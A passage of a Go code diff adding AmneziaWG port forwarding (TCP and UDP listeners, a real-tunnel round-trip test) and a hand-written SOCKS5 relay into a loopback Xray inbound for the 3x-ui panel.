+	go func() { _, _ = io.Copy(tunnelConn, conn); done <- struct{}{} }()
+	go func() { _, _ = io.Copy(conn, tunnelConn); done <- struct{}{} }()
+	<-done
+}
+
+// Close stops accepting new connections. Already-relaying connections are
+// left to finish on their own -- there's no shared state to tear down early
+// for, and an abrupt cut would just look like a network error to whichever
+// external client was mid-transfer.
+func (l *tcpForwardListener) Close() {
+	close(l.closing)
+	l.ln.Close()
+}

+ 417 - 0
internal/amneziawgnet/portfwd_test.go

@@ -0,0 +1,417 @@
+package amneziawgnet
+
+import (
+	"context"
+	"fmt"
+	"io"
+	"net"
+	"net/netip"
+	"testing"
+	"time"
+
+	awgconn "github.com/amnezia-vpn/amneziawg-go/v3/conn"
+	"github.com/amnezia-vpn/amneziawg-go/v3/device"
+	"github.com/amnezia-vpn/amneziawg-go/v3/tun/netstack"
+	"gvisor.dev/gvisor/pkg/tcpip/stack"
+
+	"github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
+	"github.com/mhsanaei/3x-ui/v3/internal/util/wireguard"
+)
+
+func peerWithPortsAndIPs(email, forwardedPorts string, ips ...string) amneziawg.Peer {
+	return amneziawg.Peer{Email: email, PublicKey: "pub-" + email, AllowedIPs: ips, ForwardedPorts: forwardedPorts}
+}
+
+// --- desiredPeerTargets ---
+
+func TestDesiredPeerTargetsPrefersIPv4(t *testing.T) {
+	inst := amneziawg.Instance{IPv6Enabled: true, Peers: []amneziawg.Peer{
+		peerWithPortsAndIPs("a@x", "", "10.8.1.2/32", "fd86::2/128"),
+	}}
+	got := desiredPeerTargets(inst)
+	addr, ok := got["a@x"]
+	if !ok || addr.String() != "10.8.1.2" {
+		t.Fatalf("desiredPeerTargets = %v, want a@x -> 10.8.1.2", got)
+	}
+}
+
+func TestDesiredPeerTargetsFallsBackToIPv6WhenEnabled(t *testing.T) {
+	inst := amneziawg.Instance{IPv6Enabled: true, Peers: []amneziawg.Peer{
+		peerWithPortsAndIPs("a@x", "", "fd86::2/128"),
+	}}
+	got := desiredPeerTargets(inst)
+	addr, ok := got["a@x"]
+	if !ok || addr.String() != "fd86::2" {
+		t.Fatalf("desiredPeerTargets = %v, want a@x -> fd86::2", got)
+	}
+}
+
+func TestDesiredPeerTargetsSkipsIPv6OnlyWhenIPv6Disabled(t *testing.T) {
+	inst := amneziawg.Instance{IPv6Enabled: false, Peers: []amneziawg.Peer{
+		peerWithPortsAndIPs("a@x", "", "fd86::2/128"),
+	}}
+	if got := desiredPeerTargets(inst); len(got) != 0 {
+		t.Fatalf("desiredPeerTargets = %v, want empty (IPv6-only peer, IPv6 disabled)", got)
+	}
+}
+
+func TestDesiredPeerTargetsSkipsPeerWithoutEmailOrAddress(t *testing.T) {
+	inst := amneziawg.Instance{IPv6Enabled: true, Peers: []amneziawg.Peer{
+		peerWithPortsAndIPs("", "", "10.8.1.2/32"), // no email
+		peerWithPortsAndIPs("b@x", ""),             // no AllowedIPs at all
+	}}
+	if got := desiredPeerTargets(inst); len(got) != 0 {
+		t.Fatalf("desiredPeerTargets = %v, want empty", got)
+	}
+}
+
+// --- desiredPortForwardKeys ---
+
+func TestDesiredPortForwardKeysEmptyWhenNoForwardedPorts(t *testing.T) {
+	inst := amneziawg.Instance{Peers: []amneziawg.Peer{
+		peerWithPortsAndIPs("a@x", "", "10.8.1.2/32"),
+	}}
+	if got := desiredPortForwardKeys(inst); len(got) != 0 {
+		t.Fatalf("desiredPortForwardKeys = %v, want empty", got)
+	}
+}
+
+func TestDesiredPortForwardKeysEmptyWhenNoResolvableTarget(t *testing.T) {
+	// ForwardedPorts is set, but the peer has no AllowedIPs to resolve a
+	// target from -- must not produce keys for a peer nothing can dial.
+	inst := amneziawg.Instance{Peers: []amneziawg.Peer{
+		{Email: "a@x", ForwardedPorts: "8080"},
+	}}
+	if got := desiredPortForwardKeys(inst); len(got) != 0 {
+		t.Fatalf("desiredPortForwardKeys = %v, want empty", got)
+	}
+}
+
+func TestDesiredPortForwardKeysOneTCPAndUDPKeyPerPort(t *testing.T) {
+	inst := amneziawg.Instance{Peers: []amneziawg.Peer{
+		peerWithPortsAndIPs("a@x", "8080,8081", "10.8.1.2/32"),
+	}}
+	got := desiredPortForwardKeys(inst)
+	if len(got) != 4 {
+		t.Fatalf("desiredPortForwardKeys = %v, want 4 entries (2 ports x 2 protocols)", got)
+	}
+	for _, port := range []int{8080, 8081} {
+		for _, proto := range []portForwardProto{tcpForward, udpForward} {
+			key := portForwardKey{email: "a@x", port: port, proto: proto}
+			if _, ok := got[key]; !ok {
+				t.Errorf("desiredPortForwardKeys missing %+v", key)
+			}
+		}
+	}
+}
+
+func TestDesiredPortForwardKeysMultiplePeersDoNotMix(t *testing.T) {
+	inst := amneziawg.Instance{Peers: []amneziawg.Peer{
+		peerWithPortsAndIPs("a@x", "8080", "10.8.1.2/32"),
+		peerWithPortsAndIPs("b@x", "8080", "10.8.1.3/32"), // same port, different peer
+	}}
+	got := desiredPortForwardKeys(inst)
+	if len(got) != 4 {
+		t.Fatalf("desiredPortForwardKeys = %v, want 4 entries (2 peers x 2 protocols, same port kept separate per email)", got)
+	}
+}
+
+// --- PortForwardSet.Reconcile: real stack, no handshake needed (dialing
+// isn't exercised by these -- only the host-facing listener lifecycle) ---
+
+func newTestStack(t *testing.T, addr string) *stack.Stack {
+	t.Helper()
+	tunDev, gstack, err := createNetTUNWithStack([]netip.Addr{netip.MustParseAddr(addr)}, 1420)
+	if err != nil {
+		t.Fatalf("createNetTUNWithStack: %v", err)
+	}
+	t.Cleanup(func() { tunDev.Close() })
+	return gstack
+}
+
+func dialLoopback(t *testing.T, network string, port int) {
+	t.Helper()
+	conn, err := net.DialTimeout(network, fmt.Sprintf("127.0.0.1:%d", port), time.Second)
+	if err != nil {
+		t.Fatalf("dial 127.0.0.1:%d (%s): %v", port, network, err)
+	}
+	conn.Close()
+}
+
+func TestPortForwardSetReconcileOpensAndClosesListeners(t *testing.T) {
+	gs := newTestStack(t, "10.211.0.1")
+	set := NewPortForwardSet(gs, 501)
+
+	const port = 58910
+	inst := amneziawg.Instance{Peers: []amneziawg.Peer{
+		peerWithPortsAndIPs("a@x", fmt.Sprintf("%d", port), "10.211.0.2/32"),
+	}}
+
+	set.Reconcile(inst)
+	set.mu.Lock()
+	n := len(set.listeners)
+	set.mu.Unlock()
+	if n != 2 {
+		t.Fatalf("listeners after Reconcile = %d, want 2 (tcp+udp)", n)
+	}
+	dialLoopback(t, "tcp", port) // proves a real host listener is actually bound
+
+	set.mu.Lock()
+	tcpBefore := set.listeners[portForwardKey{email: "a@x", port: port, proto: tcpForward}]
+	set.mu.Unlock()
+
+	// Reconciling again with an unchanged instance must not close and
+	// reopen an unaffected listener.
+	set.Reconcile(inst)
+	set.mu.Lock()
+	tcpAfter := set.listeners[portForwardKey{email: "a@x", port: port, proto: tcpForward}]
+	set.mu.Unlock()
+	if tcpBefore != tcpAfter {
+		t.Error("Reconcile with an unchanged instance replaced an unaffected listener")
+	}
+
+	// Peer removed entirely -> both listeners close.
+	set.Reconcile(amneziawg.Instance{})
+	set.mu.Lock()
+	n = len(set.listeners)
+	set.mu.Unlock()
+	if n != 0 {
+		t.Fatalf("listeners after removal Reconcile = %d, want 0", n)
+	}
+	if _, err := net.DialTimeout("tcp", fmt.Sprintf("127.0.0.1:%d", port), time.Second); err == nil {
+		t.Error("port still accepting connections after the listener should have closed")
+	}
+}
+
+func TestPortForwardSetReconcileSurvivesPreBoundPort(t *testing.T) {
+	gs := newTestStack(t, "10.211.1.1")
+	set := NewPortForwardSet(gs, 502)
+
+	const collidingPort = 58911
+	const okPort = 58912
+	blocker, err := net.Listen("tcp", fmt.Sprintf(":%d", collidingPort))
+	if err != nil {
+		t.Fatalf("pre-bind test port: %v", err)
+	}
+	defer blocker.Close()
+
+	inst := amneziawg.Instance{Peers: []amneziawg.Peer{
+		peerWithPortsAndIPs("a@x", fmt.Sprintf("%d,%d", collidingPort, okPort), "10.211.1.2/32"),
+	}}
+
+	// Must not panic despite one of the two ports being unbindable, and the
+	// other port (and its UDP counterpart on the colliding port) must still
+	// open normally.
+	set.Reconcile(inst)
+	set.mu.Lock()
+	n := len(set.listeners)
+	_, tcpCollidingOpen := set.listeners[portForwardKey{email: "a@x", port: collidingPort, proto: tcpForward}]
+	_, udpCollidingOpen := set.listeners[portForwardKey{email: "a@x", port: collidingPort, proto: udpForward}]
+	set.mu.Unlock()
+	if n != 3 {
+		t.Fatalf("listeners after Reconcile with one pre-bound port = %d, want 3 (4 desired minus the 1 that couldn't bind)", n)
+	}
+	if tcpCollidingOpen {
+		t.Error("TCP listener on the pre-bound port opened despite the real bind conflict")
+	}
+	if !udpCollidingOpen {
+		t.Error("UDP listener on the colliding port's own number should still open (TCP and UDP binds are independent)")
+	}
+	dialLoopback(t, "tcp", okPort)
+
+	set.Close()
+}
+
+// --- Real round trip: a genuine amneziawg-go client handshakes against a
+// real server Device, PortForwardSet opens a real host listener, and a real
+// external-side dial (this test's own process) round-trips bytes through
+// the actual encrypted tunnel to a service listening on the client's own
+// netstack -- proving the full path, not just the listener bookkeeping
+// above. Modeled closely on device_test.go's
+// TestNewDeviceHandshakeForwarderAndIdentity.
+func TestPortForwardRoundTripTCPAndUDP(t *testing.T) {
+	serverPriv, serverPub, err := wireguard.GenerateWireguardKeypair()
+	if err != nil {
+		t.Fatalf("generate server keypair: %v", err)
+	}
+	clientPriv, clientPub, err := wireguard.GenerateWireguardKeypair()
+	if err != nil {
+		t.Fatalf("generate client keypair: %v", err)
+	}
+
+	const listenPort = 58920 // fixed loopback test port, matches this package's existing test convention
+	const tcpPort = 58921
+	const udpPort = 58922
+	const clientAddr = "10.202.0.2"
+
+	inst := amneziawg.Instance{
+		Id:            5,
+		InterfaceName: "awgtest5",
+		ListenPort:    listenPort,
+		PrivateKey:    serverPriv,
+		PublicKey:     serverPub,
+		Address:       []string{"10.202.0.1/24"},
+		MTU:           1420,
+		Obfuscation: amneziawg.Obfuscation31{
+			Jc: 4, Jmin: 40, Jmax: 70,
+			S1: 20, S2: 30, S3: 20, S4: 20,
+		},
+		Peers: []amneziawg.Peer{
+			{
+				Email:          "client@test",
+				PublicKey:      clientPub,
+				AllowedIPs:     []string{clientAddr + "/32"},
+				ForwardedPorts: fmt.Sprintf("%d,%d", tcpPort, udpPort),
+			},
+		},
+	}
+
+	dev, err := NewDevice(inst, DeviceOptions{})
+	if err != nil {
+		t.Fatalf("NewDevice: %v", err)
+	}
+	defer dev.Close()
+
+	set := NewPortForwardSet(dev.Stack, inst.Id)
+	set.Reconcile(inst)
+	defer set.Close()
+
+	// Real amneziawg-go client, same recipe as device_test.go.
+	clientTun, clientNet, err := netstack.CreateNetTUN(
+		[]netip.Addr{netip.MustParseAddr(clientAddr)},
+		[]netip.Addr{netip.MustParseAddr("1.1.1.1")}, 1420)
+	if err != nil {
+		t.Fatalf("client CreateNetTUN: %v", err)
+	}
+	clientDev := device.NewDevice(clientTun, awgconn.NewDefaultBind(), device.NewLogger(device.LogLevelSilent, ""))
+	defer clientDev.Close()
+
+	clientPrivHex, err := wireguard.KeyToHex(clientPriv)
+	if err != nil {
+		t.Fatalf("client key to hex: %v", err)
+	}
+	serverPubHex, err := wireguard.KeyToHex(serverPub)
+	if err != nil {
+		t.Fatalf("server key to hex: %v", err)
+	}
+	clientConf := fmt.Sprintf(
+		"private_key=%s\njc=4\njmin=40\njmax=70\ns1=20\ns2=30\ns3=20\ns4=20\npublic_key=%s\nendpoint=127.0.0.1:%d\nallowed_ip=0.0.0.0/0\n",
+		clientPrivHex, serverPubHex, listenPort)
+	if err := clientDev.IpcSet(clientConf); err != nil {
+		t.Fatalf("client IpcSet: %v", err)
+	}
+	if err := clientDev.Up(); err != nil {
+		t.Fatalf("client Up: %v", err)
+	}
+
+	// Prime the handshake before exercising the actual port forwards below.
+	// The server only learns the client's real (roaming) endpoint from a
+	// packet the client sends it -- buildUAPIConfig never configures an
+	// endpoint= for a peer server-side (see device.go), and the server has
+	// no route to initiate a handshake toward an endpoint it doesn't know --
+	// so without this, relayTCPForward's own dial toward the client races a
+	// handshake that can never even start server-side and fails outright.
+	// A throwaway client dial toward nothing in particular is enough:
+	// queuing any outbound packet triggers amneziawg-go's own automatic
+	// handshake initiation regardless of whether the dial itself ever
+	// succeeds (nothing server-side is listening for it), so this loop
+	// deliberately ignores the dial's own outcome and just gives the
+	// handshake a few real attempts to complete in the background.
+	primeCtx, primeCancel := context.WithTimeout(context.Background(), 3*time.Second)
+	defer primeCancel()
+	for {
+		if conn, dialErr := clientNet.DialContext(primeCtx, "tcp", "10.202.9.9:9999"); dialErr == nil {
+			conn.Close()
+		}
+		select {
+		case <-primeCtx.Done():
+			goto primed
+		case <-time.After(200 * time.Millisecond):
+		}
+	}
+primed:
+
+	// A real service on the client's own netstack -- what a real forwarded
+	// port is ultimately supposed to reach.
+	tcpSvc, err := clientNet.ListenTCPAddrPort(netip.MustParseAddrPort(fmt.Sprintf("%s:%d", clientAddr, tcpPort)))
+	if err != nil {
+		t.Fatalf("client ListenTCP: %v", err)
+	}
+	defer tcpSvc.Close()
+	go func() {
+		for {
+			c, err := tcpSvc.Accept()
+			if err != nil {
+				return
+			}
+			go func() { io.Copy(c, c); c.Close() }()
+		}
+	}()
+
+	udpSvc, err := clientNet.ListenUDPAddrPort(netip.MustParseAddrPort(fmt.Sprintf("%s:%d", clientAddr, udpPort)))
+	if err != nil {
+		t.Fatalf("client ListenUDP: %v", err)
+	}
+	defer udpSvc.Close()
+	go func() {
+		buf := make([]byte, 1500)
+		for {
+			n, addr, err := udpSvc.ReadFrom(buf)
+			if err != nil {
+				return
+			}
+			udpSvc.WriteTo(buf[:n], addr)
+		}
+	}()
+
+	// Retry the TCP dial rather than guessing a fixed handshake delay --
+	// the handshake happens lazily on first real traffic.
+	const wantTCP = "port-forward tcp round trip"
+	dialCtx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
+	defer cancel()
+	var tcpConn net.Conn
+	var lastErr error
+	for {
+		tcpConn, lastErr = net.DialTimeout("tcp", fmt.Sprintf("127.0.0.1:%d", tcpPort), time.Second)
+		if lastErr == nil {
+			break
+		}
+		select {
+		case <-dialCtx.Done():
+			t.Fatalf("external TCP dial never succeeded: %v", lastErr)
+		case <-time.After(150 * time.Millisecond):
+		}
+	}
+	defer tcpConn.Close()
+	if _, err := tcpConn.Write([]byte(wantTCP)); err != nil {
+		t.Fatalf("write to forwarded TCP port: %v", err)
+	}
+	tcpConn.SetReadDeadline(time.Now().Add(5 * time.Second))
+	gotTCP := make([]byte, len(wantTCP))
+	if _, err := io.ReadFull(tcpConn, gotTCP); err != nil {
+		t.Fatalf("read echo from forwarded TCP port: %v", err)
+	}
+	if string(gotTCP) != wantTCP {
+		t.Errorf("TCP round trip = %q, want %q", gotTCP, wantTCP)
+	}
+
+	// UDP: the tunnel is already up (handshake completed above), so this
+	// can dial straight away.
+	const wantUDP = "port-forward udp round trip"
+	udpConn, err := net.DialTimeout("udp", fmt.Sprintf("127.0.0.1:%d", udpPort), time.Second)
+	if err != nil {
+		t.Fatalf("external UDP dial: %v", err)
+	}
+	defer udpConn.Close()
+	if _, err := udpConn.Write([]byte(wantUDP)); err != nil {
+		t.Fatalf("write to forwarded UDP port: %v", err)
+	}
+	udpConn.SetReadDeadline(time.Now().Add(5 * time.Second))
+	gotUDP := make([]byte, len(wantUDP))
+	if _, err := io.ReadFull(udpConn, gotUDP); err != nil {
+		t.Fatalf("read echo from forwarded UDP port: %v", err)
+	}
+	if string(gotUDP) != wantUDP {
+		t.Errorf("UDP round trip = %q, want %q", gotUDP, wantUDP)
+	}
+}

+ 147 - 0
internal/amneziawgnet/portfwd_udp.go

@@ -0,0 +1,147 @@
+package amneziawgnet
+
+import (
+	"context"
+	"fmt"
+	"net"
+	"net/netip"
+	"sync"
+	"time"
+
+	"gvisor.dev/gvisor/pkg/tcpip/adapters/gonet"
+	"gvisor.dev/gvisor/pkg/tcpip/stack"
+
+	"github.com/mhsanaei/3x-ui/v3/internal/logger"
+)
+
+// portForwardUDPIdleTimeout matches UDPRelay.pump's own idle window
+// (relay.go) -- both are "how long to keep a per-flow session alive with no
+// traffic before tearing it down," so there's no reason for the two
+// directions to disagree.
+const portForwardUDPIdleTimeout = 2 * time.Minute
+
+// udpForwardSession is one established flow from a single external source
+// address into the tunnel toward a peer -- conn is a connected gonet UDP
+// endpoint (DialUDP with a non-nil raddr), so plain Read/Write, not
+// ReadFrom/WriteTo, address it correctly.
+type udpForwardSession struct {
+	conn *gonet.UDPConn
+}
+
+// udpForwardListener is one open host-facing UDP socket for a single
+// portForwardKey, demultiplexing by external source address -- the mirror
+// image of AttachUDPHandler/UDPRelay, which demultiplex by tunnel-internal
+// source for the opposite direction. net.ListenPacket has no accept/session
+// model of its own, so this package tracks sessions itself here, the same
+// way UDPRelay already does in relay.go.
+type udpForwardListener struct {
+	pc net.PacketConn
+
+	mu       sync.Mutex
+	sessions map[netip.AddrPort]*udpForwardSession
+}
+
+// listenPortForwardUDP opens a host-facing UDP socket on key.port and
+// starts demultiplexing datagrams into per-source-address tunnel sessions
+// toward target(key.email). Bind-failure contract matches
+// listenPortForwardTCP exactly: log, return nil, Reconcile retries later.
+func listenPortForwardUDP(gstack *stack.Stack, inboundID int, key portForwardKey, target portForwardTargetFunc) *udpForwardListener {
+	pc, err := (&net.ListenConfig{}).ListenPacket(context.Background(), "udp", fmt.Sprintf(":%d", key.port))
+	if err != nil {
+		logger.Warningf("amneziawgnet: port-forward: inbound %d peer %q: listen udp :%d: %v", inboundID, key.email, key.port, err)
+		return nil
+	}
+	l := &udpForwardListener{pc: pc, sessions: map[netip.AddrPort]*udpForwardSession{}}
+	logger.Infof("amneziawgnet: port-forward: inbound %d peer %q: listening udp :%d", inboundID, key.email, key.port)
+	go l.readLoop(gstack, inboundID, key, target)
+	return l
+}
+
+func (l *udpForwardListener) readLoop(gstack *stack.Stack, inboundID int, key portForwardKey, target portForwardTargetFunc) {
+	buf := make([]byte, 65536)
+	for {
+		n, from, err := l.pc.ReadFrom(buf)
+		if err != nil {
+			return // closed
+		}
+		src, ok := udpAddrPort(from)
+		if !ok {
+			continue
+		}
+
+		l.mu.Lock()
+		sess, exists := l.sessions[src]
+		l.mu.Unlock()
+
+		if !exists {
+			addr, ok := target(key.email)
+			if !ok {
+				continue
+			}
+			raddr := tunnelFullAddress(addr, key.port)
+			conn, err := gonet.DialUDP(gstack, nil, &raddr, tunnelNetwork(addr))
+			if err != nil {
+				logger.Warningf("amneziawgnet: port-forward: inbound %d peer %q: dial tunnel %s:%d: %v", inboundID, key.email, addr, key.port, err)
+				continue
+			}
+			sess = &udpForwardSession{conn: conn}
+			l.mu.Lock()
+			l.sessions[src] = sess
+			l.mu.Unlock()
+			go l.pump(src, sess)
+		}
+		// buf is reused by the next ReadFrom the instant this loop continues,
+		// so the session's own goroutine can't be handed a slice into it --
+		// Write copies synchronously here, on this goroutine, before that
+		// can happen, so no copy of the payload is needed.
+		if _, err := sess.conn.Write(buf[:n]); err != nil {
+			logger.Warningf("amneziawgnet: port-forward: inbound %d peer %q: write tunnel: %v", inboundID, key.email, err)
+		}
+	}
+}
+
+// pump reads replies from sess and writes them back to the external source
+// src until the session errors out or goes idle, mirroring UDPRelay.pump's
+// exact structure (relay.go) for the opposite direction.
+func (l *udpForwardListener) pump(src netip.AddrPort, sess *udpForwardSession) {
+	defer func() {
+		l.mu.Lock()
+		delete(l.sessions, src)
+		l.mu.Unlock()
+		sess.conn.Close()
+	}()
+	buf := make([]byte, 65536)
+	for {
+		_ = sess.conn.SetReadDeadline(time.Now().Add(portForwardUDPIdleTimeout))
+		n, err := sess.conn.Read(buf)
+		if err != nil {
+			return
+		}
+		if _, err := l.pc.WriteTo(buf[:n], net.UDPAddrFromAddrPort(src)); err != nil {
+			return
+		}
+	}
+}
+
+// Close tears down every open session and the underlying socket.
+func (l *udpForwardListener) Close() {
+	l.mu.Lock()
+	sessions := l.sessions
+	l.sessions = map[netip.AddrPort]*udpForwardSession{}
+	l.mu.Unlock()
+	for _, sess := range sessions {
+		sess.conn.Close()
+	}
+	l.pc.Close()
+}
+
+// udpAddrPort extracts a netip.AddrPort from a net.Addr returned by
+// net.ListenPacket's ReadFrom -- always a *net.UDPAddr in practice for a
+// "udp" network listener, but handled defensively rather than assumed.
+func udpAddrPort(addr net.Addr) (netip.AddrPort, bool) {
+	udpAddr, ok := addr.(*net.UDPAddr)
+	if !ok {
+		return netip.AddrPort{}, false
+	}
+	return udpAddr.AddrPort(), true
+}

+ 389 - 0
internal/amneziawgnet/relay.go

@@ -0,0 +1,389 @@
+// Phase 2: relaying a recovered tunnel connection into Xray's own,
+// completely stock SOCKS5 inbound -- authenticating as the owning peer's
+// email -- is what gives every embedded AmneziaWG connection real, native
+// Xray stats/routing/sniffing with no Xray-core fork at all (Finding 3 of
+// the migration plan: a stock SOCKS5 inbound sets its per-connection stats
+// identity directly from the SOCKS5 auth username).
+package amneziawgnet
+
+import (
+	"context"
+	"encoding/binary"
+	"encoding/json"
+	"fmt"
+	"io"
+	"net"
+	"net/netip"
+	"sync"
+	"time"
+
+	"golang.org/x/net/proxy"
+	"gvisor.dev/gvisor/pkg/tcpip/adapters/gonet"
+	"gvisor.dev/gvisor/pkg/tcpip/stack"
+
+	"github.com/mhsanaei/3x-ui/v3/internal/logger"
+)
+
+// SocksRelay describes the loopback SOCKS5 inbound decapsulated AmneziaWG
+// traffic gets relayed into.
+type SocksRelay struct {
+	// Addr is the SOCKS5 inbound's own address, e.g. "127.0.0.1:11500".
+	Addr string
+	// Password is shared across every account. This traffic never leaves
+	// loopback, so the password is not a real secrecy boundary -- it only
+	// needs to satisfy Xray's SOCKS5 inbound requiring *some* username/
+	// password auth before it will accept a connection and use the
+	// username as the stats identity. Document this reasoning wherever a
+	// caller generates or displays it, so it's never mistaken later for a
+	// real credential.
+	Password string
+}
+
+// SocksInboundSettings builds the JSON `settings` block for a stock Xray
+// SOCKS5 inbound with one username/password account per email, all sharing
+// password (see SocksRelay's doc comment). udp:true is required: RelayUDP
+// depends on the inbound accepting UDP ASSOCIATE, not just CONNECT.
+func SocksInboundSettings(emails []string, password string) ([]byte, error) {
+	type account struct {
+		User string `json:"user"`
+		Pass string `json:"pass"`
+	}
+	settings := struct {
+		Auth     string    `json:"auth"`
+		UDP      bool      `json:"udp"`
+		Accounts []account `json:"accounts"`
+	}{Auth: "password", UDP: true}
+	for _, email := range emails {
+		settings.Accounts = append(settings.Accounts, account{User: email, Pass: password})
+	}
+	return json.Marshal(settings)
+}
+
+// RelayTCP dials r.Addr, authenticates as email, issues a SOCKS5 CONNECT to
+// dest, and pipes bytes both ways until either side closes or errors.
+// Blocks until the relay ends; meant to be called from (or as) an
+// AttachTCPForwarder handler, which already runs each connection on its own
+// goroutine.
+func (r SocksRelay) RelayTCP(conn *gonet.TCPConn, email string, dest netip.AddrPort) {
+	defer conn.Close()
+
+	auth := &proxy.Auth{User: email, Password: r.Password}
+	dialer, err := proxy.SOCKS5("tcp", r.Addr, auth, proxy.Direct)
+	if err != nil {
+		logger.Warningf("amneziawgnet: RelayTCP: build SOCKS5 dialer: %v", err)
+		return
+	}
+	upstream, err := dialer.Dial("tcp", dest.String())
+	if err != nil {
+		logger.Warningf("amneziawgnet: RelayTCP: SOCKS5 CONNECT to %s as %q: %v", dest, email, err)
+		return
+	}
+	defer upstream.Close()
+
+	done := make(chan struct{}, 2)
+	go func() { _, _ = io.Copy(upstream, conn); done <- struct{}{} }()
+	go func() { _, _ = io.Copy(conn, upstream); done <- struct{}{} }()
+	<-done
+}
+
+// socks5UDPSession is one established SOCKS5 UDP ASSOCIATE session: udpConn
+// is the actual socket packets are sent to (and replies read from); ctrl is
+// the TCP control connection that must stay open for the session's
+// lifetime -- per RFC 1928, closing it tears the association down.
+type socks5UDPSession struct {
+	ctrl    net.Conn
+	udpConn *net.UDPConn
+}
+
+// newSocks5UDPSession performs the SOCKS5 greeting, username/password auth,
+// and UDP ASSOCIATE request/reply by hand: golang.org/x/net/proxy's SOCKS5
+// client (used by RelayTCP above) only implements CONNECT, and xray-core's
+// own proxy/socks/client.go is written against its internal transport
+// types, not reusable as a standalone dialer -- so this is a small, direct,
+// from-the-RFC implementation rather than an existing library call.
+func newSocks5UDPSession(addr, user, password string) (*socks5UDPSession, error) {
+	dialer := net.Dialer{Timeout: 5 * time.Second}
+	ctrl, err := dialer.DialContext(context.Background(), "tcp", addr)
+	if err != nil {
+		return nil, fmt.Errorf("amneziawgnet: dial SOCKS5 control connection: %w", err)
+	}
+	if err := socks5Handshake(ctrl, user, password); err != nil {
+		ctrl.Close()
+		return nil, err
+	}
+
+	// UDP ASSOCIATE, dst 0.0.0.0:0 ("I don't know my own source yet, and I
+	// don't need to specify one for a loopback relay").
+	if _, err := ctrl.Write([]byte{0x05, 0x03, 0x00, 0x01, 0, 0, 0, 0, 0, 0}); err != nil {
+		ctrl.Close()
+		return nil, fmt.Errorf("amneziawgnet: send UDP ASSOCIATE request: %w", err)
+	}
+	bind, err := readSocks5Reply(ctrl)
+	if err != nil {
+		ctrl.Close()
+		return nil, err
+	}
+
+	udpConn, err := net.DialUDP("udp", nil, net.UDPAddrFromAddrPort(bind))
+	if err != nil {
+		ctrl.Close()
+		return nil, fmt.Errorf("amneziawgnet: dial SOCKS5 UDP relay endpoint %s: %w", bind, err)
+	}
+	return &socks5UDPSession{ctrl: ctrl, udpConn: udpConn}, nil
+}
+
+// socks5Handshake performs the version greeting and (if the server
+// requires it) username/password auth. Xray's SOCKS5 inbound with
+// auth:"password" always requires it; the no-auth branch exists so this
+// helper isn't silently wrong against a differently-configured server.
+func socks5Handshake(conn net.Conn, user, password string) error {
+	if _, err := conn.Write([]byte{0x05, 0x02, 0x00, 0x02}); err != nil {
+		return fmt.Errorf("amneziawgnet: send SOCKS5 greeting: %w", err)
+	}
+	var resp [2]byte
+	if _, err := io.ReadFull(conn, resp[:]); err != nil {
+		return fmt.Errorf("amneziawgnet: read SOCKS5 greeting reply: %w", err)
+	}
+	if resp[0] != 0x05 {
+		return fmt.Errorf("amneziawgnet: unexpected SOCKS5 version %d", resp[0])
+	}
+	switch resp[1] {
+	case 0x00: // no auth required
+		return nil
+	case 0x02: // username/password
+		req := make([]byte, 0, 3+len(user)+len(password))
+		req = append(req, 0x01, byte(len(user)))
+		req = append(req, user...)
+		req = append(req, byte(len(password)))
+		req = append(req, password...)
+		if _, err := conn.Write(req); err != nil {
+			return fmt.Errorf("amneziawgnet: send SOCKS5 auth: %w", err)
+		}
+		var authResp [2]byte
+		if _, err := io.ReadFull(conn, authResp[:]); err != nil {
+			return fmt.Errorf("amneziawgnet: read SOCKS5 auth reply: %w", err)
+		}
+		if authResp[1] != 0x00 {
+			return fmt.Errorf("amneziawgnet: SOCKS5 auth rejected (status %d)", authResp[1])
+		}
+		return nil
+	default:
+		return fmt.Errorf("amneziawgnet: SOCKS5 server offered unsupported auth method %d", resp[1])
+	}
+}
+
+// readSocks5Reply reads a SOCKS5 reply (the common format shared by CONNECT
+// and UDP ASSOCIATE replies) and returns its bound address.
+func readSocks5Reply(r io.Reader) (netip.AddrPort, error) {
+	var hdr [4]byte
+	if _, err := io.ReadFull(r, hdr[:]); err != nil {
+		return netip.AddrPort{}, fmt.Errorf("amneziawgnet: read SOCKS5 reply header: %w", err)
+	}
+	if hdr[0] != 0x05 {
+		return netip.AddrPort{}, fmt.Errorf("amneziawgnet: unexpected SOCKS5 reply version %d", hdr[0])
+	}
+	if hdr[1] != 0x00 {
+		return netip.AddrPort{}, fmt.Errorf("amneziawgnet: SOCKS5 request failed (reply code %d)", hdr[1])
+	}
+	addr, err := readSocks5Addr(r, hdr[3])
+	if err != nil {
+		return netip.AddrPort{}, err
+	}
+	var portBytes [2]byte
+	if _, err := io.ReadFull(r, portBytes[:]); err != nil {
+		return netip.AddrPort{}, fmt.Errorf("amneziawgnet: read SOCKS5 reply port: %w", err)
+	}
+	return netip.AddrPortFrom(addr, binary.BigEndian.Uint16(portBytes[:])), nil
+}
+
+// readSocks5Addr reads the address portion of a SOCKS5 reply for the given
+// address type (IPv4, IPv6, or domain -- resolved locally since a loopback
+// Xray inbound is not expected to reply with one, but it's cheap to handle
+// correctly rather than fail oddly if it ever does).
+func readSocks5Addr(r io.Reader, atyp byte) (netip.Addr, error) {
+	switch atyp {
+	case 0x01:
+		var b [4]byte
+		if _, err := io.ReadFull(r, b[:]); err != nil {
+			return netip.Addr{}, err
+		}
+		return netip.AddrFrom4(b), nil
+	case 0x04:
+		var b [16]byte
+		if _, err := io.ReadFull(r, b[:]); err != nil {
+			return netip.Addr{}, err
+		}
+		return netip.AddrFrom16(b), nil
+	case 0x03:
+		var l [1]byte
+		if _, err := io.ReadFull(r, l[:]); err != nil {
+			return netip.Addr{}, err
+		}
+		name := make([]byte, l[0])
+		if _, err := io.ReadFull(r, name); err != nil {
+			return netip.Addr{}, err
+		}
+		resolved, err := net.ResolveIPAddr("ip", string(name))
+		if err != nil {
+			return netip.Addr{}, fmt.Errorf("amneziawgnet: resolve SOCKS5 domain reply %q: %w", name, err)
+		}
+		addr, ok := netip.AddrFromSlice(resolved.IP)
+		if !ok {
+			return netip.Addr{}, fmt.Errorf("amneziawgnet: unparseable resolved SOCKS5 domain reply address")
+		}
+		return addr, nil
+	default:
+		return netip.Addr{}, fmt.Errorf("amneziawgnet: unsupported SOCKS5 address type %d", atyp)
+	}
+}
+
+// Close ends the UDP ASSOCIATE session: closing ctrl tells the SOCKS5
+// server to tear down its relay side too (RFC 1928).
+func (s *socks5UDPSession) Close() error {
+	s.udpConn.Close()
+	return s.ctrl.Close()
+}
+
